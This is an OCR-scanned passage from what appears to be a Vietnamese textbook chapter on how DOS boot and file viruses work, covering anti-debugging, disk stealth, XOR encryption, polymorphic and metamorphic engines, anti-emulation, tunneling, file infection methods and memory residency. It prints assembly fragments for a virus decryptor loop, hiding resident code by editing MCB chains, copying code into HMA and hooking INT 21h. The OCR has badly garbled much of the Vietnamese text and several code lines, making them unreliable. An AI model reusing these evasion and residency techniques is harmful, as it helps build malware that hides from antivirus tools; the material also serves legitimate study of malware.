lénh IMP, CALL twong d6i mot céich lon xon. dir liéu va
ma [¢nh b tif xen ké. ..

- Chong @& réi: Bao gom nhiéu cong nghé, néi chung
mot virus thudng str dung két hop nhiéu cong nghé khac
nhau dé tang dé phc tap, khé khan khi phan tich vién c&
gang gd r6i chuang trinh virus.

+ Cong nghe dau tién 1a tao ra cdc thii tuc gia, 1am cho
phan tich vién mét moi khi phaj phan biét nhimng tdc vu
thue sir véi nhilng thi tue gid 1a0. Phuong phap nay cé
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dicm veu b fam ting Kich thude virus cling nhy giam toc
do cua he thong.

+ Cang nght 1ht hai duoe sir dung & viet ma d¢ tam
thin 1reo ban phim. lam cho phan tich vién khéng thé tiép
e oty rdi v du:

DisibleKeyboard:

IN ALO2]

OR AL.O2

OUT AL.O2I ; Poan ma chinh
FnableKeyboard:

IN AL021

AND ALNOT 02h

OUT AL,021h

+ Thay th& cac vector ngit 01h/03h (cic ngat cho
phép tién hinh g& réi) chi dén nhimg dia chi khong xac
dinh , hay dén nhimg thi tuc xir 1§ ngit khac. C6 thé tién
hanh cic thao tic khong chuin doi v6i ngian x&p nhu thao
tdc trye tiép vai SS, SP nhdm ngin chan qué trinh go roi.
Ciing ¢6 thé két hop st dung nhtéu phuong phdp khic
nhir st dung mi hod nhiéu ting, sir dung ngdt thoi gian
08h, bdy 16i qua tinh ning doc trude cac ma lénh cha bo
vixaly...
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Thue ra nhimyg cong nghe nay cu gay kho kKhin nhie
tap cho phian tich vién chu khone nein chan dece hoan
toan qua trinh phan tich.

f. Cong nghé nauy trang.

- Nguy trang trén bo nhaé: Cie virus Boot thuong
vung nhé cao thugng dé bi phét nén. dé khac phue dicin
yeéu do. virus cd thé chd he dicu hanh duoe nap vio 1o
a1 1ién hanh thuong rd & vimge nho thap.

- Nguy trang trén diw: D¢ nguy trang tren dia, virus
Boot can tim cach thay dot it nhat MB/BR. giam thicu
kha nang bi phat hin. Bén canh vice toi un d¢ thu nedn
churong trinh virus. ¢ the thict ko mat doan i 1'1_(_451;1
gon, ¢d nhi¢m vu ucp e nap phan chinh cua virus G ol
tru @it vio bo nhé, sau dé trao quvén didu kbien cho
phan nay. Chi phan ma lenh niy duoe ghi lén MB/BR
clia dia cin lay nhiém, do dé su Khide biet rat it kho bi
phat hién hon.

Mot phuong phap khac hicu qui hon duge st dung ¢6
thé mé ta nhu sau: khi virus dang thuong trd trong bo
nhd, moi yéu ciu doc/ghi len MBY/BR coa cic chuong
trinh khic s¢ duge dinh hudng lai (anh xa) thinh doc/ehi
sector luu gt MB/BR cii. Cie chuong trinh s& nhan duoc
mot ban géc clia MB/BR cii. do do khiong phat hién su
ton tai ca virus, mat khic dam bao chuong trinh virus
khong bi ghi de.
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Khi stt dung phitong phdp nay, cian kiém sodt ta1 ca
cdc hoat dong doc/ghi dia 1én MB/BR, bao goém céc iénh
doc/ehi 1 hay nhi¢u sector, md MB/BR nam trong viing
can doc ghi.

Khi tién hanh lay nhiém. ¢6 thé 1am an cic sector ¢6
sit dung bing cdch danh dau di hong. dé hé diéu hanh
khong sir dung cdce sector dé nita.

Mot phuong phdp bd sung 1a nguy trang ngay ¢ mic
céng (port), bang cdch chan ngiat 076h hoac ham
091h/ngat 015h. Phuong phap nguy trang nay hoat dong
hiéu qua, tuy nhién ciing c6 thé bi vo hi¢u hod bang cach
x4c ap lai cac ngit dé.

Windows vdi cong nghé truy nhap dia 32 bit cling ¢6
th¢ gay 181 v&i cdc virus Boot, dé khic phuc diém yéu
nay. co thé st dung hai phuong phdp sau:

+ Khi WIN.COM dugce thi hanh, thém tham s6 /D:F
dé cdm ch& do truy nhap dia 32 bit.

+ Chan him 01605h/ngat 02Fh va tam thoi xod thu
tuc cua virus ra khoi chudi thi tue xir 1y ngat cho dén khi
Windows két thic (ham 01606h/ngit 02Fh).

2. Cong nghé ma hod.

D¢ dam bdo tinh nhd gon, virus thudmg st dung
nhong cone nghé ma hod tuong dai don gian. Phuong
phiap ph bign la ap dung cdc phép todn sé h(}c/logic lén
chuong trinh virus vdi khod ma la mot gid tri byte hay
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word. Trong dd phép XOR thudng duge st dung do tinh
don gian, mat khdc, thu tuc ma hed ciing 1a thu tue giai

ma.

h. Céng nghé da hinh.

Mac di virus ¢é thé duge mi hod, tuy nhién doan
chuong trinh ma hod van ¢& dinh, vi vay cdc chuong trinh
antivirus ¢6 thé phat hién virus dé dang. Y tudng chinh
cha cong nghé da hinh 1 thay doi ca phan tha tuc mi
hod, lam cho cic chuong trinh antivirus s€ gap kho khan
ap dung phuong phip do doan ma dé phat hieén virus.

C6 thé chia cic cong nghé da hinh thanh nhiéu mdc
nhir sau:

Muc 1: Virus ¢d mot s6 bd giai ma vé tap lénh co
dinh, va chon mot trong s cic bd giai ma dé khi lay
nhiém mot file.

Miic 2: Bo gidi mi chda mot s6 lénh ¢6 dinh, phan
con lai ¢6 thé thay-doi.

Mic 3: Bo giai ma ¢6 thé chifa cdc 1énh khéng 6 dnh
hudng dén logic chuong trinh, vi du nhu NOP, CLIL,
STI... '

Mitc 4: BO giai ma, st dung cdc 1énh 6 thé thay thé
va ti¢n hanh déi thi ty ching mdi lan lay nbiém, thuat
toan giai mi vin khong thay doi.
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Muc 5: Sir dung tat ca cic cong nghé trén, thudt wdn
gial mi ¢6 the thay doi. chuong trinh virus ¢6 thé ma hoa
nhiéu lan, tham chi ma hoa mot phan bo giai ma.

Mdc 6: Virus bien hinhi: Phan chinh cia virus dugce
thay doi, duge chia thanh cdc khdi. ¢6 thé dat & nhiing vi
tri nghu nhién trong moi lan lay nhiém.

Dudi day la mat vi du cu thé dé minh hoa cong nghé
nay. gid su virus ¢6 b gidi ma c¢o dang nhu sau:

mov ecx. VirusSize
lea edi, PointerToCodeToCrypt
mov cax, CryptKey
@@]!:
xor dword ptr [edi], eax
add edi, 4
loop @@l

C6 6 cau 1énh dugce, duge coi la sdu khéi, dudi day 1a
mot s6 kha nang tao ra ¢dc mi lénh khdc nhau.
- Str dung nhiing thanh ghi khéc.
- PGi thit t cva 3 lenh déu tien,
- Str dung cic 1énh khéc ¢é cling tac dung.

- Chen thém cdc l¢énh khong danh hudng dén logic
chuong trinh.

t. Cong nghé bién hinh.



bay la mét cong nghé phuc tap, c¢d muc dich sinh ra
nhimg bd ma 1énh cua chuong trinh virus hoan toan khae
nhau. Mot s6 diém chinh y&u clia cong nghé bién hinh:

- C6 bo dich ngugce noi tai dé dich nguoe cdc 1énh.

- C6 bo it gont ma: CO nhiém vu rit gon/tdl uu hat
hay nhi¢u mai lénh thanh mot lénh.

- C6 bo ma rong ma: Cé nhiém vu phét trién mot [énh
thanh hai hay nhiéu 1énh.

- C6 bo hodn déi mi: Coé nhiém vu hoan déi hai hay
nhicu 1énh néu c6 thé.

- B dinh vi lai(tinh todn lai), cd nhiém vu dinh vi lai
14t ca cac tham chiéu, vi du nhu cdc 1énh nhdy, 1énh goi
VA cdc con tro.

- Bo sinh rdc, ¢6 nhiém vu chén thém mot hoic nhiéu
ma 1¢nh khong anh hudng dén logic chuong trinh, vio
gilra ¢dc ma lénh thue su.

- C6 kha ning tfim va loai bo nhilng ma lénh rdc dugc
bo sinh rac cheén vao.

k. Cong nghé chéong moé phong.

Coéng nghé nay ¢d nhiém vu lam dimg moi trudng mo
phong ma c¢dc chuong trinh antivirus st dung dé mé
phong hoai dong cta virus, kél hop voi cdc cong nghé
heuristic dé nhan dang cac virus chua biét.

M#ét sa cong nghé thutng duoc st dung:
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- Chiém cdc ngat O1h, 02h phuc vu cho viée gd roi.

- Str dung cdc cong ngh¢ thudng tri trén UMB, HMA
ma moi trudng mo phong khong hé tro.

- Tién hinh cdce thao tdc vé6i ngan xép vi cde thanh
ght doan di liéu DS.

I. Cong ngh¢ chong theo dai.

Cong nght¢ nay chéng lai cong nghé heuristic cia cdc
chuong trinh antivirus. Co thé sir dung cdc coéng nghé
sau:

- Sir dung cdc ham dich vy (cdc ngat) theo cich riéng
hay sir dung cdc ham dich vu gia do virus tao ra.

- Cheén thém céc doan méa 1énh “rdc” khong anh
hudng dén logic chuong trinh, xen ké& gifta nhiing ma
lénh thue su.

m. Cong ngh¢ dudng hdm - clra hau.

B¢ dé phong trusng hop di ¢6 mot chuong trinh khéc
thuong tri. kiém tra cdc tdc vu doc ghi dia, virus cin phai
[y dugc dia chi cla thu tue xir 1y ngit ddu tién (cha
BIOS). Cong nghé nay khd phic tap, chii y&u dua trén
cdc phuong phip sau:

- Do tim mot doan ma xac dinh clia thi tuc xir |y ngét
tren viing nhé. khi tim thdy. dia chi cla thii tuc xtr 1V ngér
s¢ duoc liru [ai d€ st dung. Cong nghé niy 6 thuan loi 1a
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doan mi don gian, dé xay dung. nhung ¢d han ché vé
thoi gian quét b nha.

- Thiét k€ doan ma theo déi chudi cde thu tuc xir 1y
ngat dé tim ra thi tuc x{r Iy ngat chuan, viéc lan vét duge
tién hanh dua trén cong nghé sir dung cdc ngét gd 16i Olh
vi 03h. Phuong phdp niy thudng duge st dung hon cd.
do dat hidu qua ca vé mat tdc do. Tuy nhién néu trong
cde thil tue xir 1y ngit ¢é sir dung céng nghé anti-tunnel,
cong nghé nay c6 thé gay 161,

- Mot cong nghe khic cue doan hon va it duge dung
nhit do do phirc tap va tinh trong thich kém, d6 1a viét
lai mot s6 chite nang clia ngét 13h sir dung cdc cong diéu
khién 6 dia. Bii lai, do ti€n hanh truy nhap truc tiép,
phtrong phdp nay ¢é kha nang chdng theo dbi rat t6t.

- Cdn ¢d mot cong nghé khic 1a st dung cic
ham(ngit) khong duoc cong bd cha hé diéu hanh dé 14y
dugc dia chi cha thi tue xir Iv ngit gde - ¢dn goi 1a coéng
nghé cura hau.

n. Cong nghé anti-tunnel.

La cong nghé¢ doi nghich cong nghé dudng ham,
nhdm ngan chan cac chuong trinh antivirus ¢6 v dinh tim
kiem dia chi cha thQi e xir 1y ngat chuan. Cong nghé
nay chi y&u han ch¢ phuong phdp st dung cédc ngit
01h/03h dé lan theo chudi thil tuc ngat. Cong nghé nay
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dua tréu cdch tién hanh xir 1Y cde ngat 01h/03h clia hé
dicu hinh.

Boi vai ngat 01h, néu gid i cta c& bdy (Trap flag)
trong thanh ghi ¢& duge bat, bo vi xit 1y $& tién hanh 201
ngat O1h sau Khi thi hanh mét m3 lénh. Thanh ghi cq, dia
chi segmentoffset cha lenh bi ngit duge luu vao ngan
x¢p trude khi quyén diéu khién duoc trao cho tha tuc xu
IV ngit O1h.

Sir dung mot 6 thao tac truc tiép doi véi thanh ghi iy
va ngan x€p (thanh ghi SS:SP) virus ¢6 thé phdt hién vi
tam dimg qua trinh 1an vét nay. Mét phuong phap khéc [a
dat lai cdc vector ngit 01h/03h dé ngan chan qua trinh
lan vél,

q. Cong nghé 161 vu:

Nham thu gon kich thude chuong tinh virus cling
nhu tang t6¢ do thi hanh chuong trinh virus, bao gom
vice thict ke cde giai thuat 161 vu cho méi tde vu, viée sir
dung cac thd tuc thay cho cdc doan ma lap lai cong voi
str dung cdc mi lénh 161 wu.

Phuong phép dau rat linh hoat, da dang ¥ thuoc vio
ngudl thiet k¢ virus, & day chi nghién cdu hai phuong
phap sau.

- Sir dung cdc tha tue:

Néu mot 50 ma Iénh ¢6 kich thuse 16n duge sir dung
nhicu lan, ¢6 thé 67 wu bing cic sit dung cdc thi tuc. Vi
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lénh goi thi tuc/lénh 1o vé CALL/RET <6 kich thudc
3+1=4 byte, cé thé dua ra cong thiic tinh kich thude to1
uu dugc:

NumByte=(SizeolProc - 4) * NumofCall - SizeofProc

- Phuong phap tht ba dua 1rén nguyén tde: dé thue
hién ciing mot nhiém vu. ¢6 thé s dung cdc md lénh
khac nhau, cé do dai va thai gian thue hién khdc nhau
(chi ti€t xem TLTK). Mot 86 tha thuat co ban:

+ SU dung cac thanh ghi AL/AX thay cho cic thanh
ghi khic: Do thiét k& clia vi xir 1y 80x86, cdc thao tdc s
dung cac thanh ghi nay c6 kich thude ngan hon so véi su
dung cdc thanh ghi khdc, vidu:

CMP BX.01234h: So sanh BX vdi 01234h (4 byte)

T61 vu: CMP AX,01234h : So sinh AX vdl
01234h (3 byte)

Tuy nhién chi cé thé sir dung tht thuat ndy néu thanh
ghi AL/AX khong chita cac dif liéu quan trong. Néu céc
thanh ghi nay duoc sir dung nhiéu lén thi sir dung né vin
161 ru hon tham chi khi cén phai PUSH AL/AX va POP
AL/AX sau do.

+ Sit dung thanh ghi doan dir liéu DS thay cho cac
thanh ghi doan khac, vi du:

MOV AX, ES:{S1} 1 3 byte
MOV AX, DS:[SI] ; 2 byte
+ Phuong phdp xod mét thanh ghi, vidu:
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MOV AX, 00000 . 3 byte

Toiw:  SUB AX, AX ; 2 byte
hay: XOR AX, AX ;2 byte
+ Phuong phdp xo0d thanh ghi DX:
MOV DX, 00000 ; 3 bytle
Toiuwu:  XOR DX, DX ; 2 byte
Toi uu hon: CWD ;1 byte (st dung néu
AX<08000)
+ Phuong phédp so sdnh mot thanh ghi véi 0:
CMP AX, 00000 : AX=0? (3 byte)
Taiuwu: OR  AX, AX ; AX=07? (2 byte)

+ Str dung mot thanh ghi 16 bit thay cho 2 thanh ghi 8
bit:
MOV AH, 012h  ; Gan AH=012h (2 byte)
MOV AL, 034h  ; Gdn AL=034h (2 byte)
61 tu: MOV AX, 01234h; Gdn AX=01234h (3 byte)
+ Chuyén AL/AX vio mot thanh ghi khidc hoac
nguoc lai:
MOV BX, AX ; Gan BX=AX (2 byte)
t6i vu hon: XCHG AX,BX  ; Ddi AX, BX
cho nhau (1 byte)
+ Sir dung thanh ghi SI/DI 13m dia chi co s, thay cho
BP.
MOV AX, DS:[BP] ; 3 byte
Totwu: MOV AX. DS:[SI] ;2 byte
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+ St dung CMPS, LODS. MOVS, SCAS, STOS vama
iénh lap RE:
MOV AX, DS:[Sl} . 2 byte
T&i wu: LODS . 1 byte
+ Chuyén noi dung mot thanh ghi doan dén thanh ghi
doan khéac:

MOV DS, CS . Khong hop lé
toruu: MOV AX, CS ; 2 byte
MOV DS, AX ; 2 byte
t61 uu hon: PUSH CS ; I byte
POP DS ; | byte
+ Stt dung SHL/SHR thay cho DIV/MOV:
MOV BH, 02 < Gan BH=02 (2 byte)
MUL BH : Nhan AL vai BH (2

byte)
Toiwu: SHL AL, 01 ; Nhan AL v6i 02 (2 byte)
+ Sir dung cdc mi déi trong thay cho cac [¢nh:
CALL FAR Address  : Tao i¢énh goi xa (3 byte)
Address DD ? : Dia chi (4 byte)

T61 vu: CALLFAR DBOE9 : Mi d6i wrong 1énh
gol xa (1 byte)

Address DD? : Pia chi (4 byte)

+ Thiét k&€ cdac tha tuc linh hoat, trong d6 nhilng ma
lénh lap Jai trong méi tha tuc duoc diing chung.

+ Loai bd cic 1énh NOP khong can thiét.
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+ Thiét k€ ma lénh dé thay thé nhimg Iénh JUMP
NEAR bang cdc lénh JMP SHORT. ..

+ S0 dung lénh LEA thay cho MOV OFFSET
LabelName.

+ St dung DEC/INC thay cho SUB/ADD Reg, 01.

+ Khéng sir dung ma lénh dé tinh todn nhimg gi4 tri

6 thé tinh true tiep.
3.2 Cic virus file trén moi truong DOS.
3.2.1 D61 negng lay nhiént va méi trieong hoat déng.

Trén moi trudng DOS, ¢6 cac dang file thi hanh dang
COM, .EXE va .BAT. Do han ché cta 14p lénh DOS ¢6
thé sir dung trong file .BAT cédc virus lay phiém file
BAT ¢6 kha nang lay nhiém khong cao, vi hiu hét chi
16n tai trong phong thi nghiém va ¢é ¥ nghia Iy thuyét
nhi¢u hon. D¢ mé rong kha nang lay nhiém, virus thudng
su dung thém cdc {enh ngoai trd, déng that két hop lai
vol cac dang virus lay nhiém file .COM, EXE.

Céc file dang .COM c6 cdu tric don gidn, noi dung
cua file chinh Ja hinh 4nh cha chuong trinh trén bo nhd
khr chuong trinh duge thi hanh.

Céc file dang .EXE ¢é cau tric phitc tap hon, bao
20m phan header ¢ dau file, chita cdc thong tin vé mdi
file, phuc vu cho viéc t6 chic thi hanh file. Chi tiét vé
cdu trixe file .[EXE, xem tai liéu tham khao.
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3.2.2 Phdn tich cdc céng nghé cua virus file trén moi
trucmy DOS.
1-Cong nghé liy nhiém:

Bao gém nhimg cong nghé chung - chuian bi md file
dé tién hanh lay nhiém, va cong nghé ghép chuong trinh
virus vao file cha.

- Nhimg coéng nghé chung:

Bao gom cédc céng nghé dé tien hanh nhitng thao tdc:
mo/dong file, xod/dat thudc tinh file, Jay/dat ngay gid tao
file. Nhimg cong nghé nay tuong déi don gidn, thuong sir
dung cic dich vu file cha ngat 021h ciia DOS.

Mot cong nghé khac can tién hanh: bay 161 khi md
file d& ghi. Néu file chi ndm trén dia mém 6 duge
chéng ghi, khi mé& file dé ghi sé sinh 16i nghiém trong,
16i nay dugc kiém sodt bang ngit 024h ctia DOS (ngit
kiém soat 161 Criterial Error Handle). Virus cdn chan
ngat nay v6i tha we xr ly ngdt tuong doi don gian,
thudng ¢d dang sau:

INT_24 Handle:
MOV AX, 0003h : Mi 161
IRET

Ma 16i 3 bdo 161 sai trong chifc ning DOS va chi thi
cho DOS tra lai quyén diéu khién cho chuong trinh tng
dung.
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- Cong nghé ghép chuong trinh virus vao file chii:

+ Ghi de: Ap dung vdi cic file dang .COM, don gidn
la ghi d& md lénh 1én ddu file cha. méi khi chuong trinh
chit duoc thi hanh, virus s& chiém quyén diéu khi¢n. Do
virus khong luu giit phan dit liéu cta chuong trinh chit bj
ghi d& nén nd khong thé trd quyén diéu khién trd lai
chuong trink chi. Do dé loal virus nay mang tinh chét
pha hoai nhiéu hon va rat khé lay lan manh vi dé bi phit
lién.

+ Ghi d¢ bao toan:

Ap dung vé6i cdc file dang .COM, céi tién tir cong.
nghé Overwritting: phan dir 11¢u bi ghi dé duge virus ghi
xuéng cudi file. Sau khi trd lai dit lidu di duge ghi la
virus c6 thé tra quyén diéu khién lai cho chuong trinh
chi.

+ Dich chuyén: Ap dung véi céc file dang .COM. cd
thé dp dung véi dang file .EXE. Loai virus nay 1ay nhiém
bing ciach dit ma lénh cua virus ¢ dau file, sau do
chuyén toan bo dir liéu clia chuong trinh chi xuéng sau
mi lenh cha virus. Virus ciing trd quyén diéu khién cho
« huong trinh cha nhy loai Non-Destructive Overwritiing.

+ Song hanh: Cong nghé lay nhiém nay dua trén tinh
nang cua MSDOS: Khi thi hanh mét file néu khong go
phan mad rong thi hé diéu hanh s& tim cac file theo thi w
phan md rong .COM, [EXE, .BAT. Do d6 khi phat hién
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mot file .EXE, virus s& rao mét file méi cing én véi
phén m& rong .COM, méi khi ngudi sir dung muén thi
hanh chuong trinh chii ma khong chi ra phan md rong thi
virus s&€ chiém quyén diéu khién.

+ N6i thém: Virus duge ghi vao cudi file chil, file chi
bi sira d6i d€ chuyén quyén diéu khién dén ma lenh virus
mbi khi chuong trinh duoce thi hanh.

Dot vdi cic file .COM: Virus thudng lwu vai byte dau
(thudng 3-5 byte, di kich thudc cho mét lénh nhay) va
thay the boi mot 1énh nhay dén phan ma ténh cia virus.

Béi véi céc file [EXE: Virus sé slra cdc gi4 trj trong
EXE Header dé chuyén ddu vao ctia chuong trinh dén
phan ma lénh ctia virus.

+ Chen giita file: Virus ghi ma Iénh cla ndé vao bit
dau tir mot diém (nghu nhién) gifra file d6i ruong, phan
dir lieu bi ghi d& duge ghi xudng cuéi file. Cic thao tac
dé ldy quyén diéu khién tuong tr nhu d6i véi phuong
phap Appending.

+ Dinh huéng lai 1énh nhay: MA Iénh virus va file cha
6 thé duoc phan phéi nhr phuong phap Appending
(ciing ¢6 thé dp dung véi phuong phap Mid-File). chi
khic & diém virus s& tim mét lénh JUMP hay CALL
trong mé lénh cla chuong trinh, dinh huéng lai dé
JUMP/CALL dén doan mi virus.
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+ Dién vao kheang trong: Virus tim cic kheang trong
(vi du day cdc byte 0Ch lién t:€p) trong file cha dé ghi
ma virus vao. Néu khong ¢é khoang tréng du 1dn, ¢6 thé
s dung nhiéu khoang dé luu gilt di ma lénh cua virus.

2. Céng nghé timi kién file chit:

- D61 véi cdc virus thudng tri, mot s6 ngat bao gdbm
ngat 021h s& bi chian. mdj khi cdc dich vu thao tdc trén
file duge goi, virus sé kiém tra va lay nhiém file néu tho
man cac diéu kién chon loc.

- D61 véi cdc virus khong thudng (rd, virus chi ¢6
quyén diéu khién diéu khién mdi khi chuong trinh duoc
thi hanh, do d6 can ¢6 ging {im ki€ém va lay nhiém cang
nhiéu file cang 6t

Cong ngh¢ tim kiém khd don gian, chi la thao tic
duyét thu muc, str dung cdc ham dich vu cta ngét 021h:

+ Cac ham tim ki€m hudng thé (Handle) 04Eh/04Fh
(FindFirst/FindNext).

+ Céc ham tim kiém hudng FCB (Handle) 011h/012h
{FindFirst/FindNext).

Virus thutng tim ki€ém cic file trong thar muc hién
thai, cac thur muc ¢6 trong bién moi trudng PATH. .. Mot
s6 virus thuong trd cling st dung thém cong nghé nay
nham ting kha ning lay lan.
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Khi ding cdic ham tim kiém trén, can sir dung cidc
ham O1Ah/Oxxh dé lay/dat DTA (Data Tranfer Area) dé
khong lam anh huong dén nhitng chuong trinh khic.

3. Cong nghé dinitvi,

Nhiing virus dp dung cong nghé lay nhim ghi da, ghi
d¢ bao toan va dich chuyén khong can dinh vi lai, vi
chuong trinh virus vin duoc thi hiinh nhu binh thuong véi
offset nguyén thuy.

Cdc loal virus khde cdn phai dinh vi lai, vi offset clia
virus khong duge bao toan mi thay déi vdi mdi file chi
n6 lay nhiém. Khong giong nhu vicus Boot luén duge nap
vao dia chi 0:07C00k, mot file thi hanh 6 thé duoe nap
vao nhitng dia chi khde phau. wy thuoe vao tinh {frang
ving nhd.

Cong nghe dinh vi con duoc goi la cong nghé
DELTA, duira trén cdch tién hanh lénh CALL cla b& vi
XU 1y,

Cui phip : CALL AnAddress

NEXT_INSTRUCTION

Khi thi hanh lénh nay, bo vi x( 1¥ & c4t dia chi offset
ctia mi I¢nh ngay ti€p sau Jénh CALL vao ngan xép, sau
dé chuyeén IP dén dia chi can goi. Nhu vay dé 1dy dia chi
offset cua NEXT INSTRUCTION ta chi c¢in lay @1a tri
duge luu trong ngan xép. Gia tri nay thudng duge hwu
trong mot thanh ghi cho phép tham chiéu gidn ti€p nhu
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SI, DI, BX, BP, sau dé st dung thanh ghi nay va dé

chénh léch vai diém moc dé tham chiéu dir liéu, ma lénh.
Sau khi di dinh vi, virus cd thé phan phéi mét ving

nhd dé thuding trd, chuyén toan bo chuong trinh virus 16i

viing nhd nay, sau d6 chuyén quyén diéu khién cho doan

md tal viing nhd maéi vdi dia chi segment:offset mdi.

4. Cong nghé thuong tra.

Ciing nhu virus Boot, dé tién hanh thudng tri virus
can tién hanh hai budc sau:

- Phan phéi mot ving nhé riéng dé Iuu giit chuong
trinh virus bao gobm ma 1énh, cac bién va viing dém cén
thiét.

- Chan mot s6 ngit phuc vu cho hoat ddng cla virus
nhur lay nhiém, pha hoai. ..

Dé tién hanh phan phéi viing nhd riéng, virus c6 thé
ti€n hanh theo nhitng phuong phédp sau:

+ Phan phéi viing nhé cao.

MCB (Memory Control Block) duge DOS tao ra cho
mdi khai diéu khién ma cdc chuong trinh sir dung, chiéu
dai cia mbi khéi 14 mot phan doan 16 byte, va chiing
ludn dung trirde cac vung nhé duge phan phdi. Khi file
.COM duoc thi hanh, MCB ciia chuong trinh duoe dinh
vi tal vi tri doan ma trir di 1 (CS-1). Pbéi véi file .EXE,
MCB ctia chuong trinh duoge dinh vi tai DS (CS<>DS).

70



* Sir dung DOS dé phan ph6i viing nhé cao:

Trudc hét, dung ham 04Ah dé véu cau gigm viing nhé
clia chuong trinh mot khoang bang kich thudc cta virus
(tinh theo doan = (VirusSize + 13)/16+1). Sau dé yéu céau
phan phéi mot viing nhé bang kich thudc cta virus v sia
luong bo nhé duge quyen quan 1y cta MCB hién tai.
Thao tdc cudi cung 1a danh dav ving nhé méi tao duoe
s hifu béi DOS.

Pouan ma sau minh hoa cong nghé trén:

mov  ax,4a00h ; Yéu cau mot gid trl vugt qui

mov  bx,0ffffh ; luong bd nhd con tréng

int  21h . Tra lai lrong bd nhd trong trong
BX

mov  ax,4a00h ; Trir di kich thudc virus

sub bx.(virus_size+15)/16+1 ; tinh theo doan

int  2th 1 Yéu cau thu hep vang nhd

mov ax,4800h :

sub word ptr ds:[2],(virus_size+13)/16+1 ;

mov bx,(virus_size+15)/16 ;

int  2lh : Phan phéi ving nhd mét

dec ax ;

mov  es,ax : ES chi dén MCB méi

mov ds,ax :

mov  byte ptr ds:[0],"Z" ; Ddnh ddu la vang nhd
cudl
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mov  word ptr ds:[1],08h ; Danh ddu ving nhé la
cua DOS

* Thay déi tryc tiép trén MCB.

Tién hanh nhiém vy giéng nhu phuong phép trén, chi
khdc & cach thyc hién la thao téc truc ti€p trén MCB.
Phuong phdp nay ¢6 yu diém 13 khong bi cic chuong
trinh antivirus thudng tri phit hién.

Poan ma sau minh cdng nghé niy:

mov ax, ds ; DS = PSP
dec ax :
mov ds, ax ; DS =MCB

mov bx, word ptr ds:[03h] ; BX = ving nhé
duge quan Iy

sub bx, ((virus_size+15)/16)+1 ; -Trir di kich
thudc virus

mov word pir ds:[03h], bx ; Ghi lai vao MCB

mov byte ptr ds:[0], ‘M’ ; Ddnh ddu 1a doan
trung gian

sub word ptr ds:[12h],((virus_size+15)/16)+1

mov ax, word ptr ds:[12h] ; Dia chi ving nhd
tiép theo

mov es, ax ; ES = MCB méi

mov byte ptres:[0], ‘Z° : Pdnh dau |3 khéi
cudi '

mov word ptr es:(1], 0008h ; Dénh ddu ving
nh¢ 1a ciia DOS
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+ Phan phdi viing nhG thap.

Cong nghé nay ciing tuong tu nhu cong nghé phan
phol viing nhd cao, tuy nhién diém khéc biét cot 16i 1a
MCB danh cho chuong trinh virus ndm & ving nhd thap,
trén mdt MCB trung gian.

Trude hét, can tao moét MCB trung gian dé chita
chuong trinh virus, sau dé tac MCB méi cho chuong
trinh chi va d&i chuong trinh chil dén d6. Diém mau chét
can gidi quyét 1a: Khi thi hanh mot chuong trinh, DOS
luu giit PSP clia chuong trinh dé€ mot s6 chiic nang khdc
dua vao PSP ma thi hanh. Néu tao MCB mdi dé chira
chuong trinh chil, PSP s& khong con dung.

Giai phdp la sir dung mé6t ham dich vu khéng duoc
cong bé: ham 050h ngat 021h. Ham nay cho phép thay
doi PSP clia m.(gl chuong trinh. Nhu vay, virus chi cin
1ién hanh dat lai PSP méi thong qua ham nay trudce khi
trd quyén diéu khién vé cho chuong trinh cha.

+ Phan phér viing nhé UMB.

C6 thé sir dung cac UMB dé lwu giit chuong trinh
virus, cling nhu da stir dung cdc MCB. Trudc hét cdn tim
mot viing UMB ¢6 thé sir dung, sau dé tién hanh céc thao
téc wong v nhu da tién hanh v6i MCB. Dinh dang cla
UMB ciing giong nhe MCB, do d6 ta ¢6 thé sit dung thit
tuc twong dng nhu cdc thu tuc thao tdc véi MCB. Dé lay
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dia chi doan cita UMB dau tién, sir dung ham 052h ngit
021h nhu vi du sau:

mov ah.52h

int 21h

Ids di.es:[bx+12h)

mov ax, word ptr [di+1fh] ; Dia chi doan
: cua UMB dau tién

inc ax

Jz no_umb

dec ax

Xor di, di

mov ds, ax

+ Phan phoi viing nhd HMA.

HMA (High Memory Area) - viing nhé cao, la viing
nhG 65520 byte bat dau tir dia chi OFFFFh:0010h dén
OFFFFh:0FFFFh. ,

Trén cdc bo vi xu 1y 80286+, c6 mot dudng dia chi
goi la dudng A20, dugce st dung dé dnh xa MB thit hai
cua bé nhé. Con c6 cdc dudng dia chi thém vao 14 A21,
A22, nhung vdi dudng dia chi A20, cic chuong trinh
chay dudi ch€ do thuc ¢6 thé sir dung thém 64K bo nhé.
Cong nghé nay c6 thé tién hanh theo mét s6 phuong
phdp, nhumg phuong phép duge sir dung nhatda ding cdc
dich vy ma HIMEM.SYS (DOS 5+) cung cip. Poan mi
minh hoa:
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mov ax,4a02h ; phan phoi vﬁng.nhcﬁ HMA qua
DOS

mov  di,-1 :

mov  bx,0200h; S¢ byte yéu cau

int  2fh : ES:DI chi dén viing nhd HMA néu
khong cd 16i

inc di . di=ffffh néu khong cé HMA hay
DOS<5.0

jz  failed : Lo1

dec di

mov  si,offset virii

mov cx,bx  ; Chuén bi copy virus lén ving nhé
HMA

cld

rep  movs byte ptr es:[di],cs:[s1]

{-] '

jmp  short failed

Mot diém quan trong cén chd ¥ 14, khong thé chin
mot s6 ngit nhu 024h rén HMA, mot s6 chiic nang doc
ghi file cua ngét 021h khong sir dung duge vai HMA (dia
chi trong DS:SD. Mat gii phdp 14 sir dung mot phan b6
nhé co ban dé chita phidn phan virus va lam ving dém
tam thoi, phan viing nhé nay thudng str dung mot phan
bang vector ngit... nhu da phan tich virus Boot.

Ciing nhu cdc virus Boot, sau khi phan phdi duoc mot
viing nhd, cdn phai chuyén chuong trinh virus lén ving
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nhé d6, sau dS chin mot s6 ngat phuc vu cho viéc lay
nhiém.

C6 thé sir dung cdc cong nghé chin ngét nhu di duoe
trinh bay & phan phan tich céng nghé thudng trt cia
virus Boot. Virus file cing ¢6 thé chin ngat dya vao cic
ham dich vu do DOS cung cip, nhu minh hea duéi day:

push s ;

pop ds ; DS=CS

mov ax,3521h . Ham lay
vector ngat

int 21h

mov word ptr [int21_off], bx ; Ltu  vector

mov word ptr [1nt21_seg], es

mov ah, 25h
vector ngét

lea dx, offset int2 Thandler ; Offset thu tuc xir 1y
moi

it 21h

[-]

oldint2]1 label dword

int21_off dw 0000h

int21_seg dw 0000h

: Ham  dat

Dé goi ngit ¢, ¢4 thé st dung cac phuong phép:
* Tao lénh ngat gid.

* Pat ¢ higu kiém tra.

76



* Thay thém cdc ngat khong duge st dung, chi dén
céc thit tue xir 1y cdc ngét can chin.

Cong nghé cu thé hoan toan giéng nhu da dp dung véi
